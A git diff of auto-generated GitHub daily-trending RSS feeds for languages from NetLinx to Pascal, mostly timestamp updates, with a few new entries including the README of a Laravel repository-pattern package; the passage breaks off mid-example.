http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:43Z + 2024-01-06T01:36:12Z Daily Trending of NetLinx in GitHub \ No newline at end of file diff --git a/netlogo/daily/index.xml b/netlogo/daily/index.xml index 4f00ed12c67..cf5110faa9d 100644 --- a/netlogo/daily/index.xml +++ b/netlogo/daily/index.xml @@ -1,7 +1,7 @@ GitHub NetLogo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:48Z + 2024-01-06T01:36:14Z Daily Trending of NetLogo in GitHub \ No newline at end of file diff --git a/newlisp/daily/index.xml b/newlisp/daily/index.xml index a41fa95db16..8b7e594cc9c 100644 --- a/newlisp/daily/index.xml +++ b/newlisp/daily/index.xml @@ -1,7 +1,7 @@ GitHub NewLisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:45Z + 2024-01-06T01:36:13Z Daily Trending of NewLisp in GitHub \ No newline at end of file diff --git a/nextflow/daily/index.xml b/nextflow/daily/index.xml index a560b25734c..81ec8241dc0 100644 --- a/nextflow/daily/index.xml +++ b/nextflow/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nextflow Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:46Z + 2024-01-06T01:36:15Z Daily Trending of Nextflow in GitHub \ No newline at end of file diff --git a/nginx/daily/index.xml b/nginx/daily/index.xml index 71b38a5bf10..03cd0bb03e3 100644 --- a/nginx/daily/index.xml +++ b/nginx/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nginx Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:50Z + 2024-01-06T01:36:16Z Daily Trending of Nginx in GitHub \ No newline at end of file diff --git a/nim/daily/index.xml b/nim/daily/index.xml index 958a860e2f7..3c7984fcd25 100644 --- a/nim/daily/index.xml +++ b/nim/daily/index.xml @@ -1,7 +1,14 @@ GitHub Nim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:53Z + 2024-01-06T01:36:19Z Daily Trending of Nim in GitHub + + FrameOS/frameos + 2024-01-06T01:36:19Z + tag:github.com,2024-01-06:/FrameOS/frameos + + <p>Operating system for single function smart frames</p><hr> + \ No newline at end of file diff --git a/ninja/daily/index.xml b/ninja/daily/index.xml index 4e541af6fa0..bde4bf37bbd 100644 --- a/ninja/daily/index.xml +++ b/ninja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ninja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:50Z + 2024-01-06T01:36:18Z Daily Trending of Ninja in GitHub \ No newline at end of file diff --git a/nit/daily/index.xml b/nit/daily/index.xml index 6f8800a1247..a79351c0682 100644 --- a/nit/daily/index.xml +++ b/nit/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nit Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:51Z + 2024-01-06T01:36:17Z Daily Trending of Nit in GitHub \ No newline at end of file diff --git a/nix/daily/index.xml b/nix/daily/index.xml index 5c4a685095c..1ef27fdb9e2 100644 --- a/nix/daily/index.xml +++ b/nix/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nix Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:58Z + 2024-01-06T01:36:23Z Daily Trending of Nix in GitHub \ No newline at end of file diff --git a/nl/daily/index.xml b/nl/daily/index.xml index 23afc73686e..d2704fc86d6 100644 --- a/nl/daily/index.xml +++ b/nl/daily/index.xml @@ -1,7 +1,7 @@ GitHub NL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:54Z + 2024-01-06T01:36:21Z Daily Trending of NL in GitHub \ No newline at end of file diff --git a/npm-config/daily/index.xml b/npm-config/daily/index.xml index 76888774ba7..619a4c38d0a 100644 --- a/npm-config/daily/index.xml +++ b/npm-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub NPM Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:55Z + 2024-01-06T01:36:20Z Daily Trending of NPM Config in GitHub \ No newline at end of file diff --git a/nsis/daily/index.xml b/nsis/daily/index.xml index 6e5e1846ef1..8f37b48bbf5 100644 --- a/nsis/daily/index.xml +++ b/nsis/daily/index.xml @@ -1,7 +1,7 @@ GitHub NSIS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:56Z + 2024-01-06T01:36:20Z Daily Trending of NSIS in GitHub \ No newline at end of file diff --git a/nu/daily/index.xml b/nu/daily/index.xml index 3328f6562ea..51e03af68b9 100644 --- a/nu/daily/index.xml +++ b/nu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:37:59Z + 2024-01-06T01:36:26Z Daily Trending of Nu in GitHub \ No newline at end of file diff --git a/numpy/daily/index.xml b/numpy/daily/index.xml index b2ac6d21590..95fc247d48e 100644 --- a/numpy/daily/index.xml +++ b/numpy/daily/index.xml @@ -1,7 +1,7 @@ GitHub NumPy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:02Z + 2024-01-06T01:36:25Z Daily Trending of NumPy in GitHub \ No newline at end of file diff --git a/nunjucks/daily/index.xml b/nunjucks/daily/index.xml index 15ebbccf072..a9704aa1de8 100644 --- a/nunjucks/daily/index.xml +++ b/nunjucks/daily/index.xml @@ -1,7 +1,7 @@ GitHub Nunjucks Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:00Z + 2024-01-06T01:36:26Z Daily Trending of Nunjucks in GitHub \ No newline at end of file diff --git a/nwscript/daily/index.xml b/nwscript/daily/index.xml index b04b0da66f2..32ddf97233c 100644 --- a/nwscript/daily/index.xml +++ b/nwscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub NWScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:05Z + 2024-01-06T01:36:28Z Daily Trending of NWScript in GitHub \ No newline at end of file diff --git a/objdump/daily/index.xml b/objdump/daily/index.xml index 6cf3d18a5fa..50a40a81bb5 100644 --- a/objdump/daily/index.xml +++ b/objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:08Z + 2024-01-06T01:36:31Z Daily Trending of ObjDump in GitHub \ No newline at end of file diff --git a/object-data-instance-notation/daily/index.xml b/object-data-instance-notation/daily/index.xml index 1b9f18697a4..fa069e446ec 100644 --- a/object-data-instance-notation/daily/index.xml +++ b/object-data-instance-notation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Object Data Instance Notation Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:07Z + 2024-01-06T01:36:31Z Daily Trending of Object Data Instance Notation in GitHub \ No newline at end of file diff --git a/objective-c++/daily/index.xml b/objective-c++/daily/index.xml index 2632216879e..71d5fa097d2 100644 --- a/objective-c++/daily/index.xml +++ b/objective-c++/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:26Z + 2024-01-06T01:36:44Z Daily Trending of Objective-C++ in GitHub \ No newline at end of file diff --git a/objective-c/daily/index.xml b/objective-c/daily/index.xml index 541ec7ecfe0..55b4ab0a3b7 100644 --- a/objective-c/daily/index.xml +++ b/objective-c/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:12Z + 2024-01-06T01:36:35Z Daily Trending of Objective-C in GitHub \ No newline at end of file diff --git a/objective-j/daily/index.xml b/objective-j/daily/index.xml index 422d9c312c7..efd9ea840ea 100644 --- a/objective-j/daily/index.xml +++ b/objective-j/daily/index.xml @@ -1,7 +1,7 @@ GitHub Objective-J Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:24Z + 2024-01-06T01:36:42Z Daily Trending of Objective-J in GitHub \ No newline at end of file diff --git a/objectscript/daily/index.xml b/objectscript/daily/index.xml index ead87e4ff0f..ff7e1341fdc 100644 --- a/objectscript/daily/index.xml +++ b/objectscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ObjectScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:25Z + 2024-01-06T01:36:43Z Daily Trending of ObjectScript in GitHub \ No newline at end of file diff --git a/ocaml/daily/index.xml b/ocaml/daily/index.xml index d0552252fa6..d0117552f63 100644 --- a/ocaml/daily/index.xml +++ b/ocaml/daily/index.xml @@ -1,7 +1,14 @@ GitHub OCaml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:28Z + 2024-01-06T01:36:46Z Daily Trending of OCaml in GitHub + + dmmulroy/create-melange-app + 2024-01-06T01:36:46Z + tag:github.com,2024-01-06:/dmmulroy/create-melange-app + + <p></p><hr> + \ No newline at end of file diff --git a/odin/daily/index.xml b/odin/daily/index.xml index eeecff4a87d..65790e4c2ba 100644 --- a/odin/daily/index.xml +++ b/odin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Odin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:29Z + 2024-01-06T01:36:48Z Daily Trending of Odin in GitHub \ No newline at end of file diff --git a/omgrofl/daily/index.xml b/omgrofl/daily/index.xml index fb11fb7550e..15dc6948e44 100644 --- a/omgrofl/daily/index.xml +++ b/omgrofl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Omgrofl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:30Z + 2024-01-06T01:36:48Z Daily Trending of Omgrofl in GitHub \ No newline at end of file diff --git a/ooc/daily/index.xml b/ooc/daily/index.xml index 62722ad7da0..ce7813ce37f 100644 --- a/ooc/daily/index.xml +++ b/ooc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ooc Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:32Z + 2024-01-06T01:36:49Z Daily Trending of ooc in GitHub \ No newline at end of file diff --git a/opa/daily/index.xml b/opa/daily/index.xml index 3616800cf69..7561924cedd 100644 --- a/opa/daily/index.xml +++ b/opa/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opa Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:31Z + 2024-01-06T01:36:47Z Daily Trending of Opa in GitHub \ No newline at end of file diff --git a/opal/daily/index.xml b/opal/daily/index.xml index 21924520f7a..1ab0ad4bf5e 100644 --- a/opal/daily/index.xml +++ b/opal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Opal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:34Z + 2024-01-06T01:36:50Z Daily Trending of Opal in GitHub \ No newline at end of file diff --git a/open-policy-agent/daily/index.xml b/open-policy-agent/daily/index.xml index 5ead93b3cc5..522e6b7904e 100644 --- a/open-policy-agent/daily/index.xml +++ b/open-policy-agent/daily/index.xml @@ -1,7 +1,7 @@ GitHub Open Policy Agent Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:36Z + 2024-01-06T01:36:52Z Daily Trending of Open Policy Agent in GitHub \ No newline at end of file diff --git a/opencl/daily/index.xml b/opencl/daily/index.xml index 8203783fd20..72eeb9e469a 100644 --- a/opencl/daily/index.xml +++ b/opencl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:37Z + 2024-01-06T01:36:53Z Daily Trending of OpenCL in GitHub \ No newline at end of file diff --git a/openedge-abl/daily/index.xml b/openedge-abl/daily/index.xml index 87eb0ee3e4d..acfef380a9e 100644 --- a/openedge-abl/daily/index.xml +++ b/openedge-abl/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenEdge ABL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:38Z + 2024-01-06T01:36:56Z Daily Trending of OpenEdge ABL in GitHub \ No newline at end of file diff --git a/openqasm/daily/index.xml b/openqasm/daily/index.xml index 8d3bad7a964..876c251035a 100644 --- a/openqasm/daily/index.xml +++ b/openqasm/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenQASM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:39Z + 2024-01-06T01:36:54Z Daily Trending of OpenQASM in GitHub \ No newline at end of file diff --git a/openrc-runscript/daily/index.xml b/openrc-runscript/daily/index.xml index f3bf4aec754..dc6a51aaa29 100644 --- a/openrc-runscript/daily/index.xml +++ b/openrc-runscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenRC runscript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:40Z + 2024-01-06T01:36:55Z Daily Trending of OpenRC runscript in GitHub \ No newline at end of file diff --git a/openscad/daily/index.xml b/openscad/daily/index.xml index 63f35beb5c3..615b629e961 100644 --- a/openscad/daily/index.xml +++ b/openscad/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenSCAD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:44Z + 2024-01-06T01:36:57Z Daily Trending of OpenSCAD in GitHub \ No newline at end of file diff --git a/openstep-property-list/daily/index.xml b/openstep-property-list/daily/index.xml index 8609f4e56b0..83fc84c436e 100644 --- a/openstep-property-list/daily/index.xml +++ b/openstep-property-list/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenStep Property List Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:41Z + 2024-01-06T01:36:59Z Daily Trending of OpenStep Property List in GitHub \ No newline at end of file diff --git a/opentype-feature-file/daily/index.xml b/opentype-feature-file/daily/index.xml index b9402ef7286..2ca657083a9 100644 --- a/opentype-feature-file/daily/index.xml +++ b/opentype-feature-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub OpenType Feature File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:43Z + 2024-01-06T01:36:59Z Daily Trending of OpenType Feature File in GitHub \ No newline at end of file diff --git a/org/daily/index.xml b/org/daily/index.xml index 7bfd7269786..7000cb2d105 100644 --- a/org/daily/index.xml +++ b/org/daily/index.xml @@ -1,7 +1,7 @@ GitHub Org Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:47Z + 2024-01-06T01:37:01Z Daily Trending of Org in GitHub \ No newline at end of file diff --git a/ox/daily/index.xml b/ox/daily/index.xml index 9a1d8773e11..354ffa863b0 100644 --- a/ox/daily/index.xml +++ b/ox/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ox Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:45Z + 2024-01-06T01:37:03Z Daily Trending of Ox in GitHub \ No newline at end of file diff --git a/oxygene/daily/index.xml b/oxygene/daily/index.xml index e13e5b3fd72..ec3353ad5db 100644 --- a/oxygene/daily/index.xml +++ b/oxygene/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oxygene Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:46Z + 2024-01-06T01:37:04Z Daily Trending of Oxygene in GitHub \ No newline at end of file diff --git a/oz/daily/index.xml b/oz/daily/index.xml index 69c87b1045d..f3e7535e56b 100644 --- a/oz/daily/index.xml +++ b/oz/daily/index.xml @@ -1,7 +1,7 @@ GitHub Oz Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:48Z + 2024-01-06T01:37:02Z Daily Trending of Oz in GitHub \ No newline at end of file diff --git a/p4/daily/index.xml b/p4/daily/index.xml index b7aa433c8a1..6c6c34c61a3 100644 --- a/p4/daily/index.xml +++ b/p4/daily/index.xml @@ -1,7 +1,7 @@ GitHub P4 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:52Z + 2024-01-06T01:37:05Z Daily Trending of P4 in GitHub \ No newline at end of file diff --git a/pan/daily/index.xml b/pan/daily/index.xml index 615f4cab93d..20342416469 100644 --- a/pan/daily/index.xml +++ b/pan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:50Z + 2024-01-06T01:37:06Z Daily Trending of Pan in GitHub \ No newline at end of file diff --git a/papyrus/daily/index.xml b/papyrus/daily/index.xml index a256d5d3826..44b2ae23a09 100644 --- a/papyrus/daily/index.xml +++ b/papyrus/daily/index.xml @@ -1,7 +1,7 @@ GitHub Papyrus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:49Z + 2024-01-06T01:37:06Z Daily Trending of Papyrus in GitHub \ No newline at end of file diff --git a/parrot-assembly/daily/index.xml b/parrot-assembly/daily/index.xml index 4ea988d8354..4782e72eb9c 100644 --- a/parrot-assembly/daily/index.xml +++ b/parrot-assembly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Assembly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:55Z + 2024-01-06T01:37:09Z Daily Trending of Parrot Assembly in GitHub \ No newline at end of file diff --git a/parrot-internal-representation/daily/index.xml b/parrot-internal-representation/daily/index.xml index 8daae5874d0..5c895451386 100644 --- a/parrot-internal-representation/daily/index.xml +++ b/parrot-internal-representation/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Internal Representation Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:54Z + 2024-01-06T01:37:09Z Daily Trending of Parrot Internal Representation in GitHub \ No newline at end of file diff --git a/parrot/daily/index.xml b/parrot/daily/index.xml index 7821ad7d470..4d908f92874 100644 --- a/parrot/daily/index.xml +++ b/parrot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Parrot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:53Z + 2024-01-06T01:37:08Z Daily Trending of Parrot in GitHub \ No newline at end of file diff --git a/pascal/daily/index.xml b/pascal/daily/index.xml index 8dd01e2cfee..87bbf934a71 100644 --- a/pascal/daily/index.xml +++ b/pascal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:57Z + 2024-01-06T01:37:11Z Daily Trending of Pascal in GitHub \ No newline at end of file diff --git a/pawn/daily/index.xml b/pawn/daily/index.xml index a9c6c994352..df4c666cab4 100644 --- a/pawn/daily/index.xml +++ b/pawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:38:59Z + 2024-01-06T01:37:12Z Daily Trending of Pawn in GitHub \ No newline at end of file diff --git a/peg.js/daily/index.xml b/peg.js/daily/index.xml index d67e093940c..3fbcf330326 100644 --- a/peg.js/daily/index.xml +++ b/peg.js/daily/index.xml @@ -1,7 +1,7 @@ GitHub PEG.js Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:00Z + 2024-01-06T01:37:14Z Daily Trending of PEG.js in GitHub \ No newline at end of file diff --git a/pep8/daily/index.xml b/pep8/daily/index.xml index 9c1077e363b..865c79928a2 100644 --- a/pep8/daily/index.xml +++ b/pep8/daily/index.xml @@ -1,7 +1,7 @@ GitHub Pep8 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:01Z + 2024-01-06T01:37:13Z Daily Trending of Pep8 in GitHub \ No newline at end of file diff --git a/perl/daily/index.xml b/perl/daily/index.xml index 871ab503497..de5fe11161a 100644 --- a/perl/daily/index.xml +++ b/perl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Perl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:16Z + 2024-01-06T01:37:29Z Daily Trending of Perl in GitHub \ No newline at end of file diff --git a/php/daily/index.xml b/php/daily/index.xml index b3c3336ef75..c77ebcb7d9b 100644 --- a/php/daily/index.xml +++ b/php/daily/index.xml @@ -1,7 +1,14 @@ GitHub PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:10Z + 2024-01-06T01:37:21Z Daily Trending of PHP in GitHub + + sajadsdi/laravel-repository + 2024-01-06T01:37:21Z + tag:github.com,2024-01-06:/sajadsdi/laravel-repository + + <p>Advanced Tools to use repository pattern for laravel eloquent models.</p><hr><p><img src="https://sajadsdi.github.io/images/laravel-advanced-repository.jpg" alt="Advanced Laravel Repository"></p> <h1>Advanced Laravel Repository</h1> <p>Advanced helper for implement repository pattern for Laravel to provides a robust set of tools to enhance your Eloquent models. Aimed to abstract database layer complexity and allows you to standardize and reuse your database query logics.</p> <h2>Features</h2> <ul> <li><strong>Model Agnosticism</strong>: Can be implemented for any Eloquent model.</li> <li><strong>Method Forwarding</strong>: Enables dynamic method calls on the model or query builder.</li> <li><strong>Auto Query Scope</strong> : You can define scope methods on your repository without any param depend on.</li> <li><strong>Flexible Search</strong>: Search across one or more model attributes easily.</li> <li><strong>Advanced Filtering</strong>: Apply complex filtering logic including range and pattern matching.</li> <li><strong>Dynamic Sorting</strong>: Apply Order by multiple columns with different sorting strategies.</li> <li><strong>Pagination</strong>: Integrate Laravel's pagination with additional query features.</li> <li><strong>Advanced Joining</strong>: Easy defined relations without use model relations for joining</li> </ul> <h2>Installation</h2> <p>To use this package, require it via Composer:</p> <pre><code class="language-bash">composer require sajadsdi/laravel-repository </code></pre> <p>After installing, you should extend the main <code>Repository</code> class for each Eloquent model you wish to create a repository for.</p> <h2>Usage</h2> <h3>Extending the Repository</h3> <p>Create a new repository by extending the <code>Repository</code> class:</p> <pre><code class="language-php">use Sajadsdi\LaravelRepository\Repository; class UserRepository extends Repository { // Implement abstract methods } </code></pre> <h3>Implementing Abstract Methods</h3> <p>Each child repository must implement the following methods to define the model and its searchable, filterable, and sortable attributes:</p> <pre><code class="language-php">public function getModelName(): string; public function getSearchable(): array; public function getFilterable(): array; public function getSortable(): array; </code></pre> <p>For example:</p> <pre><code class="language-php">class UserRepository extends Repository { public function getModelName(): string { return User::class; } public function getSearchable(): array { return ['name', 'email']; } public function getFilterable(): array { return ['name', 'email', 'created_at']; } public function getSortable(): array { return ['name', 'email', 'created_at']; } // other methods... } </code></pre> <h3>Auto Query Scope</h3> <p>In your repository, it is possible to implement scope methods that are independent of any parameters.</p> <p>for example :</p> <pre><code class="language-php">class UserRepository extends Repository { // abstract methods... public function getVerified() { return $this-&gt;whereNotNull('verified_at'); } public function getByName(string $name) { return $this-&gt;where('name','LIKE' , '%'.$name.'%'); } public function getVerifiedUsersByName(string $name) { return $this-&gt;getVerified()-&gt;getByName($name); } // other methods... } </code></pre> <h3>Searching, Sorting, and Filtering</h3> <p>Execute search, sort, and filter operations:</p> <pre><code class="language-php">$userRepo = new UserRepository(); // Search by name or email $users = $userRepo-&gt;search('John')-&gt;get(); // Sort by name in descending order $users = $userRepo-&gt;sort('name:desc')-&gt;get(); // Filter between IDs $users = $userRepo-&gt;filter('id:between_1,10')-&gt;get(); </code></pre> <h3>The filter string :</h3> <p>uses a special syntax, such as:</p> <ul> <li><code>id:equal_1</code> for equality.</li> <li><code>name:like_john</code> for like condition.</li> <li><code>price:between_100,200</code> for range filtering.</li> <li><code>id:in_2,3,4</code> for checking if a column value equal 2 or 3 or 4.</li> <li><code>price:upper_200</code> for upper range filtering.</li> <li><code>price:lower_200</code> for lower range filtering.</li> <li><code>status:is_null</code> for checking if a column is NULL.</li> <li><code>status:is_not-null</code> for checking if a column is NOT NULL,</li> <li><code>id:not_in_2,3,4</code> for checking if a column value not equal 2 and 3 and 4.</li> <li><code>id:not_between_2,6</code> for checking if a column is not in range 2 to 6.</li> <li><code>name:not_like_john</code> for not like condition.</li> <li><code>id:not_equal_2</code> for not equal condition.</li> <li><code>price:not_upper_500</code> for not upper range filtering.</li> <li><code>price:not_lower_200</code> for not lower range filtering.</li> </ul> <h3>Use Multiple Filters and Sort</h3> <p><code>@</code> is used for separating multiple filter and sort conditions.</p> <pre><code class="language-php">// multiple sort $users = $userRepo-&gt;sort('name:desc@id:asc')-&gt;get(); // multiple filter $users = $userRepo-&gt;filter('id:in_1,10@status:is_null')-&gt;get(); </code></pre> <h3>Pagination</h3> <p>Leverage Laravel's pagination with added query capabilities:</p> <pre><code class="language-php">$users = $userRepo-&gt;search('John')-&gt;filter('status:is_null')-&gt;sort('id:desc')-&gt;paginate(10); </code></pre> <h3>Advanced Joining</h3> <p>The join feature is designed to allow complex chaining of tables with precision and flexibility. Here's how to utilize the <code>joinable</code> property to define the relationships within your repository:</p> <pre><code class="language-php">protected $joinable = [ 'relationName' =&gt; [ 'rel' =&gt; [ 'table1.field1' =&gt; 'table2.field2', 'table2.field3' =&gt; 'table3.field4', ], 'select' =&gt; ['table1.*', 'table2.field_x as x', 'table3.field_y as y'], 'filterable' =&gt; ['x', 'y', 'field_z'], 'sortable' =&gt; ['x', 'y', 'field_z'], 'soft_delete'=&gt; ['table2', 'table3'] ], ]; </code></pre> <p>You donโ€™t need to fill in all options; only configure them based on your needs. Customize the <code>joinable</code> property to suit the needs of your application by adjusting each component:</p> <h4><code>rel</code>:</h4> <p>The join conditions between your primary table and related tables are specified within the <code>rel</code> array. It's the cornerstone of setting up your joins, determining how tables are interrelated throughout your query.</p> <ul> <li><strong>Single Join:</strong> To relate two tables, specify the field from the primary table and the corresponding field from the table you wish to join.</li> </ul> <pre><code class="language-php">'rel' =&gt; [ 'table1.field1' =&gt; 'table2.field2', ], </code></pre> <ul> <li><strong>Multiple Joins:</strong> When your query involves multiple tables, chain the joins by listing the field relationships consecutively. The key represents the field from the primary table, or the last joined table, while the value represents the field from the next table to join.</li> </ul> <pre><code class="language-php">'rel' =&gt; [ 'table1.field1' =&gt; 'table2.field2', 'table2.field3' =&gt; 'table3.field4', // Extend the chain with additional table joins as necessary ], </code></pre> <p>This pattern facilitates the creation of a series of joins, where <code>table1</code> is the primary table related to your repository, and <code>table2</code>, <code>table3</code>, etc., are the tables being joined in sequence. Each join extends the capability for further filtering, selection, and sorting across multiple tables, giving you substantial control over the final query output.</p> <h4><code>select</code>:</h4> <p>Determine which columns to select from the joined tables. Aliases help distinguish between columns when names are shared across tables or when a more descriptive name is preferred.</p> <pre><code class="language-php">'select' =&gt; [ 'table1.*', // All fields from primary table 'table2.field_x as x', // Specific field with a clear alias 'table3.field_y as y', // Another field with its own alias // Add more fields and aliases accordingly ], </code></pre> <h4><code>filterable</code> and <code>sortable</code>:</h4> <p>These arrays specify which fields or aliases from the โ€˜selectโ€™ clause can be used in filtering and sorting operations. The fields listed here should either be aliases defined in โ€˜selectโ€™ or belong to the final table in the join sequence.</p> <pre><code class="language-php">'filterable' =&gt; [ 'x', // Alias defined in `select` 'y', // Another alias defined in `select` 'field_z', // Field from the final table in the join chain // Add more filterable fields as needed ], 'sortable' =&gt; [ 'x', // Alias that's sortable 'y', // Another sortable alias 'field_z', // Field from the final table (`table3`) that's sortable // Add more sortable fields as required ], </code></pre> <h4><code>softDeletes</code>:</h4> <p>Specifies table, other than the base repositoryโ€™s model table, that should exclude soft deleted records in join operations. The base tableโ€™s soft delete status is acknowledged inherently by the model and does not need to be listed.</p> <pre><code class="language-php">'softDeletes' =&gt; [ 'table2', // Related table with soft-delete enabled 'table3', // Another related table with soft-delete // List additional related tables with soft-delete enabled as necessary ], </code></pre> <p>This approach ensures a cohesive querying experience, allowing for powerful querying capabilities while respecting soft delete states.</p> <h3>Usage of filter and sort with <code>joinable</code> relationships</h3> <p>Once you have defined your relationships in the <code>joinable</code> configuration, you can effortlessly filter and sort through related models using the <code>filter</code> and <code>sort</code> methods. Here's an example of how to use these methods to query user data with conditions and sorting:</p> <pre><code class="language-php"> // Apply filters and sorting on the related models $users = $userRepo-&gt;filter('relationName.x:is_null@relationName.y:lower_100') -&gt;sort('relationName.field_z:desc') -&gt;paginate(10); // This will fetch users with the following conditions applied: // - For the related model under 'relationName': // - Field 'x' should be `null` (is_null condition). // - Field 'y' should be less than or equal to 100 (lower_100 condition). // - The resulting users will then be sorted in descending order // based on field 'field_z' from the related model. // - The results will be paginated, returning 10 users per page. </code></pre> <p>Make sure that your relations are properly defined in the joinable array and the associated fields are mentioned in filterable and sortable configurations. This ensures that the filtering and sorting logic is applied correctly across your database queries.</p> <h4>More usage example :</h4> <p>Suppose we define a repository as follows</p> <pre><code class="language-php">class UserRepository extends Repository { protected $joinable = [ 'activities' =&gt; [ 'rel' =&gt; [ 'users.id' =&gt; 'user_activities.user_id', ], 'select' =&gt; ['users.*', 'user_activities.created_at as activity_time', 'user_activities.type as activity_name'], 'filterable' =&gt; ['activity_time', 'activity_name'], 'sortable' =&gt; ['activity_time', 'activity_name'], 'soft_delete'=&gt; ['user_activities'] ], 'profile' =&gt; [ 'rel' =&gt; [ 'users.pic_id' =&gt; 'user_pictures.id', ], 'select' =&gt; ['users.*', 'user_pictures.path as photo'], 'filterable' =&gt; ['photo'], 'sortable' =&gt; ['photo'], 'soft_delete'=&gt; ['user_pictures'] ], ]; public function getModelName(): string { return User::class; } public function getSearchable(): array { return ['name', 'email']; } public function getFilterable(): array { return ['name', 'email', 'created_at']; } public function getSortable(): array { return ['name', 'email', 'created_at']; } //you can use this method for index api on controller //filter and sort methods call automatically join method if need. public function getAll(string $search = null, string $filter = null, string $sort = null, int $perPage = 15) { return $this-&gt;search($search)-&gt;filter($filter)-&gt;sort($sort)-&gt;paginate($perPage); } //you can use join method with relation name, without filter or sort method public function getProfilePic(int $userId) { $user = 